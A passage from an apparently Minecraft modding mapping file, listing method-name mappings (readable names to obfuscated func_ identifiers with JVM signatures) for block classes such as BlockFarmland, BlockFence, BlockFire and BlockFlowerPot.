(Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockEnderChest/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockEnderChest/quantityDropped (Ljava/util/Random;)I net/minecraft/block/BlockEnderChest/func_149745_a (Ljava/util/Random;)I +MD: net/minecraft/block/BlockEnderChest/getRenderType ()I net/minecraft/block/BlockEnderChest/func_149645_b ()I +MD: net/minecraft/block/BlockEnderChest/isOpaqueCube ()Z net/minecraft/block/BlockEnderChest/func_149662_c ()Z +MD: net/minecraft/block/BlockEnderChest/randomDisplayTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockEnderChest/func_180655_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockEnderChest/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockEnderChest/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockEnderChest/isFullCube ()Z net/minecraft/block/BlockEnderChest/func_149686_d ()Z +MD: net/minecraft/block/BlockEnderChest/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockEnderChest/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/ITileEntityProvider/createNewTileEntity (Lnet/minecraft/world/World;I)Lnet/minecraft/tileentity/TileEntity; net/minecraft/block/ITileEntityProvider/func_149915_a (Lnet/minecraft/world/World;I)Lnet/minecraft/tileentity/TileEntity; +MD: net/minecraft/block/BlockFalling/tickRate (Lnet/minecraft/world/World;)I net/minecraft/block/BlockFalling/func_149738_a (Lnet/minecraft/world/World;)I +MD: net/minecraft/block/BlockFalling/onNeighborBlockChange (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V net/minecraft/block/BlockFalling/func_176204_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/BlockFalling/onStartFalling (Lnet/minecraft/entity/item/EntityFallingBlock;)V net/minecraft/block/BlockFalling/func_149829_a (Lnet/minecraft/entity/item/EntityFallingBlock;)V +MD: net/minecraft/block/BlockFalling/onEndFalling (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockFalling/func_176502_a_ (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockFalling/updateTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockFalling/func_180650_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockFalling/onBlockAdded (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockFalling/func_176213_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockFalling/canFallInto (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockFalling/func_180685_d (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockFalling/checkFallable (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockFalling/func_176503_e (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockFarmland/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockFarmland/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockFarmland/getCollisionBoundingBox (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/block/BlockFarmland/func_180640_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/block/BlockFarmland/onNeighborBlockChange (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V net/minecraft/block/BlockFarmland/func_176204_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/BlockFarmland/onFallenUpon (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/entity/Entity;F)V net/minecraft/block/BlockFarmland/func_180658_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/entity/Entity;F)V +MD: net/minecraft/block/BlockFarmland/shouldSideBeRendered (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/block/BlockFarmland/func_176225_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/block/BlockFarmland/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockFarmland/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockFarmland/updateTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockFarmland/func_180650_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockFarmland/isOpaqueCube ()Z net/minecraft/block/BlockFarmland/func_149662_c ()Z +MD: net/minecraft/block/BlockFarmland/getItem (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; net/minecraft/block/BlockFarmland/func_180665_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockFarmland/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockFarmland/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockFarmland/isFullCube ()Z net/minecraft/block/BlockFarmland/func_149686_d ()Z +MD: net/minecraft/block/BlockFarmland/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockFarmland/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockFarmland/hasCrops (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockFarmland/func_176529_d (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockFarmland/hasWater (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockFarmland/func_176530_e (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockFence/addCollisionBoxesToList (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/AxisAlignedBB;Ljava/util/List;Lnet/minecraft/entity/Entity;)V net/minecraft/block/BlockFence/func_180638_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/util/AxisAlignedBB;Ljava/util/List;Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/block/BlockFence/onBlockActivated (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/block/BlockFence/func_180639_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/block/BlockFence/setBlockBoundsBasedOnState (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockFence/func_180654_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockFence/shouldSideBeRendered (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/block/BlockFence/func_176225_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/block/BlockFence/getActualState (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockFence/func_176221_a (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockFence/isPassable (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockFence/func_176205_b (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockFence/isOpaqueCube ()Z net/minecraft/block/BlockFence/func_149662_c ()Z +MD: net/minecraft/block/BlockFence/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockFence/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockFence/isFullCube ()Z net/minecraft/block/BlockFence/func_149686_d ()Z +MD: net/minecraft/block/BlockFence/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockFence/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockFence/canConnectTo (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockFence/func_176524_e (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockFenceGate/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockFenceGate/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockFenceGate/getCollisionBoundingBox (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/block/BlockFenceGate/func_180640_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/block/BlockFenceGate/onNeighborBlockChange (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V net/minecraft/block/BlockFenceGate/func_176204_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/BlockFenceGate/onBlockActivated (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/block/BlockFenceGate/func_180639_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/block/BlockFenceGate/onBlockPlaced (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockFenceGate/func_180642_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;FFFILnet/minecraft/entity/EntityLivingBase;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockFenceGate/setBlockBoundsBasedOnState (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V net/minecraft/block/BlockFenceGate/func_180654_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)V +MD: net/minecraft/block/BlockFenceGate/shouldSideBeRendered (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z net/minecraft/block/BlockFenceGate/func_176225_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)Z +MD: net/minecraft/block/BlockFenceGate/getActualState (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockFenceGate/func_176221_a (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockFenceGate/isPassable (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockFenceGate/func_176205_b (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockFenceGate/isOpaqueCube ()Z net/minecraft/block/BlockFenceGate/func_149662_c ()Z +MD: net/minecraft/block/BlockFenceGate/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockFenceGate/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockFenceGate/isFullCube ()Z net/minecraft/block/BlockFenceGate/func_149686_d ()Z +MD: net/minecraft/block/BlockFenceGate/canPlaceBlockAt (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockFenceGate/func_176196_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockFenceGate/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockFenceGate/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockFire/isCollidable ()Z net/minecraft/block/BlockFire/func_149703_v ()Z +MD: net/minecraft/block/BlockFire/requiresUpdates ()Z net/minecraft/block/BlockFire/func_149698_L ()Z +MD: net/minecraft/block/BlockFire/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockFire/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockFire/tickRate (Lnet/minecraft/world/World;)I net/minecraft/block/BlockFire/func_149738_a (Lnet/minecraft/world/World;)I +MD: net/minecraft/block/BlockFire/catchOnFire (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;ILjava/util/Random;I)V net/minecraft/block/BlockFire/func_176536_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;ILjava/util/Random;I)V +MD: net/minecraft/block/BlockFire/getCollisionBoundingBox (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; net/minecraft/block/BlockFire/func_180640_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/util/AxisAlignedBB; +MD: net/minecraft/block/BlockFire/onNeighborBlockChange (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V net/minecraft/block/BlockFire/func_176204_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/BlockFire/setFireInfo (Lnet/minecraft/block/Block;II)V net/minecraft/block/BlockFire/func_180686_a (Lnet/minecraft/block/Block;II)V +MD: net/minecraft/block/BlockFire/getActualState (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockFire/func_176221_a (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockFire/quantityDropped (Ljava/util/Random;)I net/minecraft/block/BlockFire/func_149745_a (Ljava/util/Random;)I +MD: net/minecraft/block/BlockFire/updateTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockFire/func_180650_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockFire/isOpaqueCube ()Z net/minecraft/block/BlockFire/func_149662_c ()Z +MD: net/minecraft/block/BlockFire/onBlockAdded (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockFire/func_176213_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockFire/randomDisplayTick (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V net/minecraft/block/BlockFire/func_180655_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;)V +MD: net/minecraft/block/BlockFire/getFlammability (Lnet/minecraft/block/Block;)I net/minecraft/block/BlockFire/func_176532_c (Lnet/minecraft/block/Block;)I +MD: net/minecraft/block/BlockFire/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockFire/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockFire/isFullCube ()Z net/minecraft/block/BlockFire/func_149686_d ()Z +MD: net/minecraft/block/BlockFire/canPlaceBlockAt (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockFire/func_176196_c (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockFire/getEncouragement (Lnet/minecraft/block/Block;)I net/minecraft/block/BlockFire/func_176534_d (Lnet/minecraft/block/Block;)I +MD: net/minecraft/block/BlockFire/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockFire/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockFire/canDie (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockFire/func_176537_d (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockFire/canCatchFire (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockFire/func_176535_e (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockFire/canNeighborCatchFire (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z net/minecraft/block/BlockFire/func_176533_e (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/block/BlockFire/getMapColor (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; net/minecraft/block/BlockFire/func_180659_g (Lnet/minecraft/block/state/IBlockState;)Lnet/minecraft/block/material/MapColor; +MD: net/minecraft/block/BlockFire/init ()V net/minecraft/block/BlockFire/func_149843_e ()V +MD: net/minecraft/block/BlockFire/getBlockLayer ()Lnet/minecraft/util/EnumWorldBlockLayer; net/minecraft/block/BlockFire/func_180664_k ()Lnet/minecraft/util/EnumWorldBlockLayer; +MD: net/minecraft/block/BlockFire/getNeighborEncouragement (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I net/minecraft/block/BlockFire/func_176538_m (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;)I +MD: net/minecraft/block/BlockFlower$1/apply (Lnet/minecraft/block/BlockFlower$EnumFlowerType;)Z net/minecraft/block/BlockFlower$1/apply (Lnet/minecraft/block/BlockFlower$EnumFlowerType;)Z +MD: net/minecraft/block/BlockFlower$1/apply (Ljava/lang/Object;)Z net/minecraft/block/BlockFlower$1/apply (Ljava/lang/Object;)Z +MD: net/minecraft/block/BlockFlower$EnumFlowerType$1/apply (Lnet/minecraft/block/BlockFlower$EnumFlowerType;)Z net/minecraft/block/BlockFlower$EnumFlowerType$1/apply (Lnet/minecraft/block/BlockFlower$EnumFlowerType;)Z +MD: net/minecraft/block/BlockFlower$EnumFlowerType$1/apply (Ljava/lang/Object;)Z net/minecraft/block/BlockFlower$EnumFlowerType$1/apply (Ljava/lang/Object;)Z +MD: net/minecraft/block/BlockFlower$EnumFlowerType/getBlockType ()Lnet/minecraft/block/BlockFlower$EnumFlowerColor; net/minecraft/block/BlockFlower$EnumFlowerType/func_176964_a ()Lnet/minecraft/block/BlockFlower$EnumFlowerColor; +MD: net/minecraft/block/BlockFlower$EnumFlowerType/getTypes (Lnet/minecraft/block/BlockFlower$EnumFlowerColor;)[Lnet/minecraft/block/BlockFlower$EnumFlowerType; net/minecraft/block/BlockFlower$EnumFlowerType/func_176966_a (Lnet/minecraft/block/BlockFlower$EnumFlowerColor;)[Lnet/minecraft/block/BlockFlower$EnumFlowerType; +MD: net/minecraft/block/BlockFlower$EnumFlowerType/getType (Lnet/minecraft/block/BlockFlower$EnumFlowerColor;I)Lnet/minecraft/block/BlockFlower$EnumFlowerType; net/minecraft/block/BlockFlower$EnumFlowerType/func_176967_a (Lnet/minecraft/block/BlockFlower$EnumFlowerColor;I)Lnet/minecraft/block/BlockFlower$EnumFlowerType; +MD: net/minecraft/block/BlockFlower$EnumFlowerType/getMeta ()I net/minecraft/block/BlockFlower$EnumFlowerType/func_176968_b ()I +MD: net/minecraft/block/BlockFlower$EnumFlowerType/getUnlocalizedName ()Ljava/lang/String; net/minecraft/block/BlockFlower$EnumFlowerType/func_176963_d ()Ljava/lang/String; +MD: net/minecraft/block/BlockFlower$EnumFlowerType/getName ()Ljava/lang/String; net/minecraft/block/BlockFlower$EnumFlowerType/func_176610_l ()Ljava/lang/String; +MD: net/minecraft/block/BlockFlower$EnumFlowerType/toString ()Ljava/lang/String; net/minecraft/block/BlockFlower$EnumFlowerType/toString ()Ljava/lang/String; +MD: net/minecraft/block/BlockFlower$EnumFlowerType/values ()[Lnet/minecraft/block/BlockFlower$EnumFlowerType; net/minecraft/block/BlockFlower$EnumFlowerType/values ()[Lnet/minecraft/block/BlockFlower$EnumFlowerType; +MD: net/minecraft/block/BlockFlower$EnumFlowerColor/getBlock ()Lnet/minecraft/block/BlockFlower; net/minecraft/block/BlockFlower$EnumFlowerColor/func_180346_a ()Lnet/minecraft/block/BlockFlower; +MD: net/minecraft/block/BlockFlower$EnumFlowerColor/values ()[Lnet/minecraft/block/BlockFlower$EnumFlowerColor; net/minecraft/block/BlockFlower$EnumFlowerColor/values ()[Lnet/minecraft/block/BlockFlower$EnumFlowerColor; +MD: net/minecraft/block/BlockFlower/getOffsetType ()Lnet/minecraft/block/Block$EnumOffsetType; net/minecraft/block/BlockFlower/func_176218_Q ()Lnet/minecraft/block/Block$EnumOffsetType; +MD: net/minecraft/block/BlockFlower/getStateFromMeta (I)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockFlower/func_176203_a (I)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockFlower/damageDropped (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockFlower/func_180651_a (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockFlower/getSubBlocks (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V net/minecraft/block/BlockFlower/func_149666_a (Lnet/minecraft/item/Item;Lnet/minecraft/creativetab/CreativeTabs;Ljava/util/List;)V +MD: net/minecraft/block/BlockFlower/getMetaFromState (Lnet/minecraft/block/state/IBlockState;)I net/minecraft/block/BlockFlower/func_176201_c (Lnet/minecraft/block/state/IBlockState;)I +MD: net/minecraft/block/BlockFlower/createBlockState ()Lnet/minecraft/block/state/BlockState; net/minecraft/block/BlockFlower/func_180661_e ()Lnet/minecraft/block/state/BlockState; +MD: net/minecraft/block/BlockFlower/getBlockType ()Lnet/minecraft/block/BlockFlower$EnumFlowerColor; net/minecraft/block/BlockFlower/func_176495_j ()Lnet/minecraft/block/BlockFlower$EnumFlowerColor; +MD: net/minecraft/block/BlockFlower/getTypeProperty ()Lnet/minecraft/block/properties/IProperty; net/minecraft/block/BlockFlower/func_176494_l ()Lnet/minecraft/block/properties/IProperty; +MD: net/minecraft/block/BlockFlowerPot$EnumFlowerType/getName ()Ljava/lang/String; net/minecraft/block/BlockFlowerPot$EnumFlowerType/func_176610_l ()Ljava/lang/String; +MD: net/minecraft/block/BlockFlowerPot$EnumFlowerType/toString ()Ljava/lang/String; net/minecraft/block/BlockFlowerPot$EnumFlowerType/toString ()Ljava/lang/String; +MD: net/minecraft/block/BlockFlowerPot$EnumFlowerType/values ()[Lnet/minecraft/block/BlockFlowerPot$EnumFlowerType; net/minecraft/block/BlockFlowerPot$EnumFlowerType/values ()[Lnet/minecraft/block/BlockFlowerPot$EnumFlowerType; +MD: net/minecraft/block/BlockFlowerPot/isFlowerPot ()Z net/minecraft/block/BlockFlowerPot/func_149648_K ()Z +MD: net/minecraft/block/BlockFlowerPot/createNewTileEntity (Lnet/minecraft/world/World;I)Lnet/minecraft/tileentity/TileEntity; net/minecraft/block/BlockFlowerPot/func_149915_a (Lnet/minecraft/world/World;I)Lnet/minecraft/tileentity/TileEntity; +MD: net/minecraft/block/BlockFlowerPot/onNeighborBlockChange (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V net/minecraft/block/BlockFlowerPot/func_176204_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/block/Block;)V +MD: net/minecraft/block/BlockFlowerPot/onBlockHarvested (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/block/BlockFlowerPot/func_176208_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/block/BlockFlowerPot/onBlockActivated (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z net/minecraft/block/BlockFlowerPot/func_180639_a (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/util/EnumFacing;FFF)Z +MD: net/minecraft/block/BlockFlowerPot/colorMultiplier (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;I)I net/minecraft/block/BlockFlowerPot/func_180662_a (Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;I)I +MD: net/minecraft/block/BlockFlowerPot/canNotContain (Lnet/minecraft/block/Block;I)Z net/minecraft/block/BlockFlowerPot/func_149928_a (Lnet/minecraft/block/Block;I)Z +MD: net/minecraft/block/BlockFlowerPot/getActualState (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; net/minecraft/block/BlockFlowerPot/func_176221_a (Lnet/minecraft/block/state/IBlockState;Lnet/minecraft/world/IBlockAccess;Lnet/minecraft/util/BlockPos;)Lnet/minecraft/block/state/IBlockState; +MD: net/minecraft/block/BlockFlowerPot/getItemDropped (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; net/minecraft/block/BlockFlowerPot/func_180660_a (Lnet/minecraft/block/state/IBlockState;Ljava/util/Random;I)Lnet/minecraft/item/Item; +MD: net/minecraft/block/BlockFlowerPot/getRenderType ()I net/minecraft/block/BlockFlowerPot/func_149645_b ()I +MD: net/minecraft/block/BlockFlowerPot/breakBlock (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/block/BlockFlowerPot/func_180663_b (Lnet/minecraft/world/World;Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/block/BlockFlowerPot/isOpaqueCube ()Z net/minecraft/block/BlockFlowerPot/func_149662_c ()Z +MD: net/minecraft/block/BlockFlowerPot/getItem 